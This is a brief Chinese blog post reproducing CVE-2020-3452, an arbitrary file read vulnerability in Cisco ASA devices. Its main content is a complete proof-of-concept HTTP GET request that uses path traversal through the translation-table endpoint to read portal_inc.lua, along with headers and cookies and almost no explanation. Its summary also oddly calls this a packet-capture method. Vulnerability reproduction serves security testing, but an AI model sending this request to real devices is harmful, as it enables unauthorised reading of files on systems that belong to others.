CVE-2020-3452(CISCO ASA设备任意文件读取漏洞复现)

最新推荐文章于 2024-04-15 19:05:33 发布

原创最新推荐文章于 2024-04-15 19:05:33 发布 · 1.7k 阅读

1 ·

CC 4.0 BY-SA版权

漏洞复现专栏收录该内容

21 篇文章

订阅专栏

本文介绍了一种使用特定POC进行网络抓包的方法。通过构造特定的HTTP请求头来实现对目标系统的抓包测试。该方法适用于安全测试及漏洞验证场景。

抓包
在这里插入图片描述
POC

GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: webvpnlogin=1; webvpnLang=en
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

在这里插入图片描述